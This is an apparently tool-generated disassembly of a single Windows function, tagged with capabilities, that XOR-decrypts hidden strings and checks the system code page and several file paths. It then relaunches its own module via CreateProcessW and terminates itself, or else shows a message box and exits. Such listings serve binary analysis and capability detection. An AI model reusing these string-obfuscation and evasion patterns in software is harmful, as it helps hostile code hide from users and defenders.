Function at 0x100420a0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e55ad
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x388
mov eax, dword [0x103dda04]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, 0x78f461
movd xmm0, eax
mov eax, 0x78f7d7
movd xmm1, eax
pxor xmm1, xmm0
movd esi, xmm1
call dword [sym.imp.KERNEL32.dll_GetACP]
cmp eax, esi
je 0x10042cd6
mov dword [ebp - 0x240], 0xbc56a249
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x23c], 0x6a3ac445
lea edx, [ecx + 2]
mov dword [ebp - 0x238], 0xb7cec4ed
xor eax, eax
mov dword [ebp - 0x234], 0xea074fc6
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x270], 0xbc13a205
mov dword [ebp - 0x26c], 0x6a48c415
mov dword [ebp - 0x268], 0xb7adc482
mov dword [ebp - 0x264], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x230], 0x494deb7f
mov dword [ebp - 0x22c], 0xff610437
mov dword [ebp - 0x228], 0x67c2c614
mov dword [ebp - 0x224], 0xdfeb7122
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x260], 0x4928eb07
mov dword [ebp - 0x25c], 0xff610437
mov dword [ebp - 0x258], 0x67c2c614
mov dword [ebp - 0x254], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x260]
mov dword [ebp - 0x318], 0
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 7
mov word [ebp - 0x318], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10042205
sub ecx, edx
lea eax, [ebp - 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x318]
call fcn.10031d00
mov dword [ebp - 0x240], 0xbc56a249
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x23c], 0x6a27c456
lea edx, [ecx + 2]
mov dword [ebp - 0x238], 0xb7cbc4ec
xor eax, eax
mov dword [ebp - 0x234], 0xea054f81
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x270], 0xbc13a205
mov dword [ebp - 0x26c], 0x6a48c415
mov dword [ebp - 0x268], 0xb7adc482
mov dword [ebp - 0x264], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x230], 0x4950eb29
mov dword [ebp - 0x22c], 0xff0d045a
mov dword [ebp - 0x228], 0x67c2c614
mov dword [ebp - 0x224], 0xdfeb7122
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x260], 0x4928eb07
mov dword [ebp - 0x25c], 0xff610437
mov dword [ebp - 0x258], 0x67c2c614
mov dword [ebp - 0x254], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x260]
mov dword [ebp - 0x300], 0
mov dword [ebp - 4], 0
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 7
mov word [ebp - 0x300], ax
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10042330
sub ecx, edx
lea eax, [ebp - 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x300]
call fcn.10031d00
mov dword [ebp - 0x250], 0xbc7ca249
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x24c], 0x6a29c476
lea edx, [ecx + 2]
mov dword [ebp - 0x248], 0xb7c8c4ee
xor eax, eax
mov dword [ebp - 0x244], 0xea0f4fad
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x2a0], 0xbc13a205
mov dword [ebp - 0x29c], 0x6a48c415
mov dword [ebp - 0x298], 0xb7adc482
mov dword [ebp - 0x294], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x250], xmm1
mov dword [ebp - 0x240], 0x4944eb72
mov dword [ebp - 0x23c], 0xff150456
mov dword [ebp - 0x238], 0x67b0c67b
mov dword [ebp - 0x234], 0xdf8f710c
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x290], 0x4928eb07
mov dword [ebp - 0x28c], 0xff610437
mov dword [ebp - 0x288], 0x67c2c614
mov dword [ebp - 0x284], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0x230], 0x860fee5
mov dword [ebp - 0x22c], 0x751940f9
mov dword [ebp - 0x228], 0x47877d26
mov dword [ebp - 0x224], 0x153da8c
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x280], 0x80cfe89
mov dword [ebp - 0x27c], 0x751940f9
mov dword [ebp - 0x278], 0x47877d26
mov dword [ebp - 0x274], 0x153da8c
pxor xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x2e8], 0
mov byte [ebp - 4], 1
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 7
mov word [ebp - 0x2e8], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100424c0
sub ecx, edx
lea eax, [ebp - 0x250]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.10031d00
mov dword [ebp - 0x240], 0xbc7ca249
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x23c], 0x6a2cc474
lea edx, [ecx + 2]
mov dword [ebp - 0x238], 0xb7dfc4e7
xor eax, eax
mov dword [ebp - 0x234], 0xea0e4fac
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x270], 0xbc13a205
mov dword [ebp - 0x26c], 0x6a48c415
mov dword [ebp - 0x268], 0xb7adc482
mov dword [ebp - 0x264], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x230], 0x4906eb6b
mov dword [ebp - 0x22c], 0xff0d0453
mov dword [ebp - 0x228], 0x67c2c678
mov dword [ebp - 0x224], 0xdfeb7122
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x260], 0x4928eb07
mov dword [ebp - 0x25c], 0xff610437
mov dword [ebp - 0x258], 0x67c2c614
mov dword [ebp - 0x254], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x260]
mov dword [ebp - 0x2d0], 0
mov byte [ebp - 4], 2
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 7
mov word [ebp - 0x2d0], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100425e2
sub ecx, edx
lea eax, [ebp - 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2d0]
call fcn.10031d00
mov dword [ebp - 0x250], 0xbc56a249
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x24c], 0x6a27c456
lea edx, [ecx + 2]
mov dword [ebp - 0x248], 0xb7c0c4ef
xor eax, eax
mov dword [ebp - 0x244], 0xea0c4f87
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x2a0], 0xbc13a205
mov dword [ebp - 0x29c], 0x6a48c415
mov dword [ebp - 0x298], 0xb7adc482
mov dword [ebp - 0x294], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x250], xmm1
mov dword [ebp - 0x240], 0x4941eb4b
mov dword [ebp - 0x23c], 0xff130455
mov dword [ebp - 0x238], 0x67b0c675
mov dword [ebp - 0x234], 0xdfc5715b
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x290], 0x4928eb07
mov dword [ebp - 0x28c], 0xff610437
mov dword [ebp - 0x288], 0x67c2c614
mov dword [ebp - 0x284], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0x230], 0x860feed
mov dword [ebp - 0x22c], 0x75194095
mov dword [ebp - 0x228], 0x47877d26
mov dword [ebp - 0x224], 0x153da8c
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x280], 0x80cfe89
mov dword [ebp - 0x27c], 0x751940f9
mov dword [ebp - 0x278], 0x47877d26
mov dword [ebp - 0x274], 0x153da8c
pxor xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x2b8], 0
mov byte [ebp - 4], 3
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 7
mov word [ebp - 0x2b8], ax
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10042770
sub ecx, edx
lea eax, [ebp - 0x250]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2b8]
call fcn.10031d00
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea esi, [ebp - 0x318]
mov dword [ebp - 4], 4
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x100427af
mov eax, dword [esi]
push eax
call edi
cmp eax, 0xffffffff
je 0x10042cf4
add esi, 0x18
lea eax, [ebp - 0x2a0]
cmp esi, eax
jne 0x100427a5
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.100b8700
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x31c], 7
mov word [ebp - 0x330], ax
mov dword [ebp - 0x240], 0xbc56a249
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x23c], 0x6a3ac445
lea edx, [ecx + 2]
mov dword [ebp - 0x238], 0xb7cec4ed
mov dword [ebp - 0x234], 0xea074fc6
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x270], 0xbc13a205
mov dword [ebp - 0x26c], 0x6a48c415
mov dword [ebp - 0x268], 0xb7adc482
mov dword [ebp - 0x264], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x230], 0x494deb7f
mov dword [ebp - 0x22c], 0xff610417
mov dword [ebp - 0x228], 0x67c2c614
mov dword [ebp - 0x224], 0xdfeb7122
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x260], 0x4928eb07
mov dword [ebp - 0x25c], 0xff610437
mov dword [ebp - 0x258], 0x67c2c614
mov dword [ebp - 0x254], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x260]
mov byte [ebp - 4], 5
movaps xmmword [ebp - 0x230], xmm1
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100428f2
sub ecx, edx
lea eax, [ebp - 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x330]
call fcn.10038210
mov dword [ebp - 0x250], 0xbc61a228
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x24c], 0x6a26c460
lea edx, [ecx + 2]
mov dword [ebp - 0x248], 0xb7dec4e3
mov dword [ebp - 0x244], 0xea344fc8
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x2a0], 0xbc13a205
mov dword [ebp - 0x29c], 0x6a48c415
mov dword [ebp - 0x298], 0xb7adc482
mov dword [ebp - 0x294], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x250], xmm1
mov dword [ebp - 0x240], 0x4946eb66
mov dword [ebp - 0x23c], 0xff15045e
mov dword [ebp - 0x238], 0x67b1c675
mov dword [ebp - 0x234], 0xdf837171
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x290], 0x4928eb07
mov dword [ebp - 0x28c], 0xff610437
mov dword [ebp - 0x288], 0x67c2c614
mov dword [ebp - 0x284], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0x230], 0x869fee0
mov dword [ebp - 0x22c], 0x757d4095
mov dword [ebp - 0x228], 0x47877d06
mov dword [ebp - 0x224], 0x153da8c
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x280], 0x80cfe89
mov dword [ebp - 0x27c], 0x751940f9
mov dword [ebp - 0x278], 0x47877d26
mov dword [ebp - 0x274], 0x153da8c
pxor xmm1, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0x230], xmm1
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10042a50
sub ecx, edx
lea eax, [ebp - 0x250]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x330]
call fcn.10038210
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10042a80
sub ecx, edx
lea eax, [ebp - 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x330]
call fcn.10038210
cmp dword [ebp - 0x31c], 8
lea edx, [ebp - 0x330]
mov eax, dword [ebp - 0x320]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x330]
movq qword [ebp - 0x25c], xmm0
mov dword [ebp - 0x254], 0
lea edx, [edx + eax*2]
lea eax, [ebp - 0x330]
cmovae eax, dword [ebp - 0x330]
xor esi, esi
sub edx, eax
mov dword [ebp - 0x390], eax
xor edi, edi
mov dword [ebp - 0x398], edx
mov ecx, edx
mov dword [ebp - 0x25c], edi
sar ecx, 1
mov eax, esi
mov dword [ebp - 0x258], edi
mov edx, eax
mov dword [ebp - 0x38c], esi
mov dword [ebp - 0x254], esi
mov dword [ebp - 0x394], ecx
je 0x10042b76
cmp ecx, 0x7fffffff
ja 0x10042eac
push ecx
lea ecx, [ebp - 0x25c]
call fcn.10031ca0
push dword [ebp - 0x398]
mov edi, eax
mov eax, dword [ebp - 0x394]
push dword [ebp - 0x390]
mov dword [ebp - 0x25c], edi
push edi
lea esi, [edi + eax*2]
mov dword [ebp - 0x38c], esi
mov dword [ebp - 0x254], esi
call fcn.100b8180
mov eax, dword [ebp - 0x394]
add esp, 0xc
mov edx, esi
lea eax, [edi + eax*2]
mov dword [ebp - 0x258], eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x390], 0
cmp eax, edx
je 0x10042b8f
xor ecx, ecx
mov word [eax], cx
jmp 0x10042bb4
lea ecx, [ebp - 0x390]
push ecx
push eax
lea ecx, [ebp - 0x25c]
call fcn.10040c90
mov esi, dword [ebp - 0x254]
mov edi, dword [ebp - 0x25c]
mov dword [ebp - 0x38c], esi
push 0x40
lea eax, [ebp - 0x374]
mov dword [ebp - 0x378], 0x44
push 0
push eax
call fcn.100b8700
add esp, 0xc
lea eax, [ebp - 0x388]
push eax
lea eax, [ebp - 0x378]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10042c14
push dword [ebp - 0x388]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x384]
call esi
mov esi, dword [ebp - 0x38c]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 4], 5
test edi, edi
je 0x10042c59
sub esi, edi
mov eax, edi
sar esi, 1
add esi, esi
cmp esi, 0x1000
jb 0x10042c4f
mov edi, dword [eax - 4]
add esi, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10042eb1
push esi
push edi
call fcn.100b631d
add esp, 8
mov ecx, dword [ebp - 0x31c]
mov byte [ebp - 4], 4
cmp ecx, 8
jb 0x10042c9d
mov edx, dword [ebp - 0x330]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10042c93
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10042eb1
push ecx
push edx
call fcn.100b631d
add esp, 8
push fcn.10030cc0
xor eax, eax
mov dword [ebp - 0x320], 0
push 5
mov word [ebp - 0x330], ax
lea eax, [ebp - 0x318]
push 0x18
push eax
mov dword [ebp - 0x31c], 7
mov dword [ebp - 4], 0xffffffff
call fcn.100b6baa
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100b684e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x260], 0xbc61a240
lea eax, [ebp - 0x260]
mov dword [ebp - 0x25c], 0x6a27c467
mov dword [ebp - 0x258], 0xb7adc4f0
mov dword [ebp - 0x254], 0xea624fe8
mov dword [ebp - 0x230], 0xbc13a205
mov dword [ebp - 0x22c], 0x6a48c415
mov dword [ebp - 0x228], 0xb7adc482
mov dword [ebp - 0x224], 0xea624fe8
movaps xmm1, xmmword [ebp - 0x230]
pxor xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x260], xmm1
mov dword [ebp - 0x2a0], 0xeec623ef
mov dword [ebp - 0x29c], 0xe0d64b5c
mov dword [ebp - 0x298], 0xd22ab879
mov dword [ebp - 0x294], 0x7a18011e
mov dword [ebp - 0x290], 0xb629b236
mov dword [ebp - 0x28c], 0x75aafb3b
mov dword [ebp - 0x288], 0x3517a45f
mov dword [ebp - 0x284], 0xbad217d6
mov dword [ebp - 0x280], 0x74f77417
mov dword [ebp - 0x27c], 0x751940f9
mov dword [ebp - 0x278], 0x47877d26
mov dword [ebp - 0x274], 0x153da8c
movaps xmm1, xmmword [ebp - 0x2a0]
mov dword [ebp - 0x250], 0xbc13a205
mov dword [ebp - 0x24c], 0x6a48c415
mov dword [ebp - 0x248], 0xb7adc482
mov dword [ebp - 0x244], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x2a0], xmm1
movaps xmm1, xmmword [ebp - 0x290]
push 0x10
push eax
mov dword [ebp - 0x240], 0x4928eb07
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x23c], 0xff610437
mov dword [ebp - 0x238], 0x67c2c614
mov dword [ebp - 0x234], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0x290], xmm1
movaps xmm1, xmmword [ebp - 0x280]
push eax
mov dword [ebp - 0x230], 0x80cfe89
mov dword [ebp - 0x22c], 0x751940f9
mov dword [ebp - 0x228], 0x47877d26
mov dword [ebp - 0x224], 0x153da8c
pxor xmm1, xmmword [ebp - 0x230]
push 0
movaps xmmword [ebp - 0x280], xmm1
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.100331b0
call fcn.100bbdff
int3